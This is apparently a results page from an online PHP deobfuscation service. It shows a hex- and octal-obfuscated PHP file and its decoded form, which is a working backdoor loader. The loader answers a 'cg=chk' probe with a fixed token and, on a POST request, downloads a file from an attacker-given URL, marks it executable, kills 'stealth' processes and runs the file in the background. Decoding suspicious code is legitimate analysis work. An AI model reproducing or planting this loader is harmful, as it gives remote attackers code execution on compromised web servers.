Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto NJnnF; p0kUt: if ($_GET["\143\x67"] == "\143\150\153") { echo "\141\x75\170\6..

Decoded Output download

<?php 
 goto NJnnF; p0kUt: if ($_GET["cg"] == "chk") { echo "aux6TheioGhueQu3"; die; } goto XRB0D; Z1Xbl: ${"GLOBALS"}["sphvnfhjrdj"] = "url"; goto qSnv8; NJnnF: ${"GLOBALS"}["npebkueffmk"] = "command"; goto Z1Xbl; XRB0D: if ($_POST["cp"] == "download") { ${${"GLOBALS"}["lbczfjtmij"]} = substr(str_shuffle(str_repeat(${${"GLOBALS"}["cunfinyjgz"]} = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", ceil(6 / strlen(${${"GLOBALS"}["cunfinyjgz"]})))), 1, 6); ${${"GLOBALS"}["sphvnfhjrdj"]} = $_POST["url"]; if (!empty(${${"GLOBALS"}["sphvnfhjrdj"]})) { $hwogvkk = "c"; ${"GLOBALS"}["pnqrguv"] = "c"; $xtqpnykv = "command"; @unlink(${${"GLOBALS"}["lbczfjtmij"]}); exec("pkill -9 -f stealth"); exec("pkill -f -9 stealth"); $jfxvzegvhv = "fname"; ${$hwogvkk} = file_get_contents(trim(${${"GLOBALS"}["sphvnfhjrdj"]})); file_put_contents(${$jfxvzegvhv}, ${${"GLOBALS"}["pnqrguv"]}); chmod(${${"GLOBALS"}["lbczfjtmij"]}, 493); ${$xtqpnykv} = "./{$fname} > /dev/null 2>/dev/null &"; exec(${${"GLOBALS"}["npebkueffmk"]}); echo "ok"; } } goto nIEmk; UNzt2: error_reporting(0); goto p0kUt; GHD3y: ${"GLOBALS"}["lbczfjtmij"] = "fname"; goto UNzt2; qSnv8: ${"GLOBALS"}["cunfinyjgz"] = "x"; goto GHD3y; nIEmk: ?>

Did this file decode correctly?

Original Code

<?php
 goto NJnnF; p0kUt: if ($_GET["\143\x67"] == "\143\150\153") { echo "\141\x75\170\66\124\150\145\151\x6f\x47\x68\x75\145\x51\165\x33"; die; } goto XRB0D; Z1Xbl: ${"\107\114\x4f\x42\101\x4c\x53"}["\163\160\x68\166\156\146\x68\x6a\162\144\x6a"] = "\x75\x72\154"; goto qSnv8; NJnnF: ${"\x47\x4c\117\102\x41\x4c\123"}["\156\x70\145\x62\x6b\165\x65\x66\146\x6d\153"] = "\143\x6f\155\155\141\156\144"; goto Z1Xbl; XRB0D: if ($_POST["\x63\x70"] == "\x64\157\167\x6e\154\x6f\x61\144") { ${${"\x47\x4c\117\x42\101\x4c\x53"}["\154\x62\x63\x7a\x66\152\x74\155\151\152"]} = substr(str_shuffle(str_repeat(${${"\107\114\x4f\102\101\x4c\123"}["\143\x75\156\x66\151\x6e\171\152\x67\x7a"]} = "\60\61\62\x33\64\65\66\x37\x38\x39\141\x62\143\x64\x65\x66\x67\150\151\152\153\x6c\155\156\x6f\160\x71\162\x73\164\x75\166\x77\x78\171\x7a\101\102\x43\x44\105\106\x47\110\111\x4a\113\114\115\116\117\120\x51\122\x53\x54\x55\x56\127\130\131\x5a", ceil(6 / strlen(${${"\107\114\117\x42\101\x4c\x53"}["\143\165\156\146\x69\156\171\x6a\147\172"]})))), 1, 6); ${${"\107\114\x4f\102\101\x4c\123"}["\163\x70\x68\166\x6e\146\150\152\162\x64\152"]} = $_POST["\x75\162\154"]; if (!empty(${${"\x47\x4c\x4f\x42\101\114\123"}["\163\160\x68\x76\x6e\146\150\152\162\x64\152"]})) { $hwogvkk = "\143"; ${"\107\x4c\x4f\102\x41\114\x53"}["\x70\x6e\161\x72\x67\165\x76"] = "\x63"; $xtqpnykv = "\143\x6f\155\x6d\x61\156\144"; @unlink(${${"\x47\x4c\x4f\x42\x41\x4c\123"}["\154\142\x63\x7a\146\x6a\164\155\x69\x6a"]}); exec("\160\153\x69\x6c\x6c\x20\x2d\71\x20\55\x66\40\163\x74\145\x61\154\x74\x68"); exec("\160\153\x69\154\154\x20\x2d\x66\x20\x2d\71\x20\163\164\145\x61\154\164\x68"); $jfxvzegvhv = "\146\x6e\141\155\145"; ${$hwogvkk} = file_get_contents(trim(${${"\107\114\x4f\102\x41\x4c\123"}["\x73\160\150\x76\156\146\150\x6a\x72\x64\152"]})); file_put_contents(${$jfxvzegvhv}, ${${"\107\114\117\102\x41\114\123"}["\x70\156\x71\162\x67\165\166"]}); chmod(${${"\x47\x4c\117\x42\101\114\x53"}["\154\142\x63\x7a\146\x6a\164\x6d\x69\x6a"]}, 493); ${$xtqpnykv} = "\56\57{$fname}\x20\76\x20\57\x64\x65\166\57\x6e\x75\154\154\x20\x32\x3e\x2f\x64\x65\x76\57\156\x75\154\x6c\x20\46"; exec(${${"\107\114\117\x42\101\114\x53"}["\x6e\x70\x65\142\153\x75\145\x66\146\x6d\x6b"]}); echo "\x6f\153"; } } goto nIEmk; UNzt2: error_reporting(0); goto p0kUt; GHD3y: ${"\107\x4c\x4f\x42\x41\x4c\123"}["\154\x62\143\x7a\x66\x6a\164\155\151\x6a"] = "\x66\156\141\x6d\145"; goto UNzt2; qSnv8: ${"\107\x4c\117\x42\x41\114\x53"}["\143\x75\x6e\x66\x69\156\171\x6a\x67\x7a"] = "\170"; goto GHD3y; nIEmk: ?>

Function Calls

None

Variables

None

Stats

MD5 4c4aeef9a80fe13ef420fe762a2f3b73
Eval Count 0
Decode Time 37 ms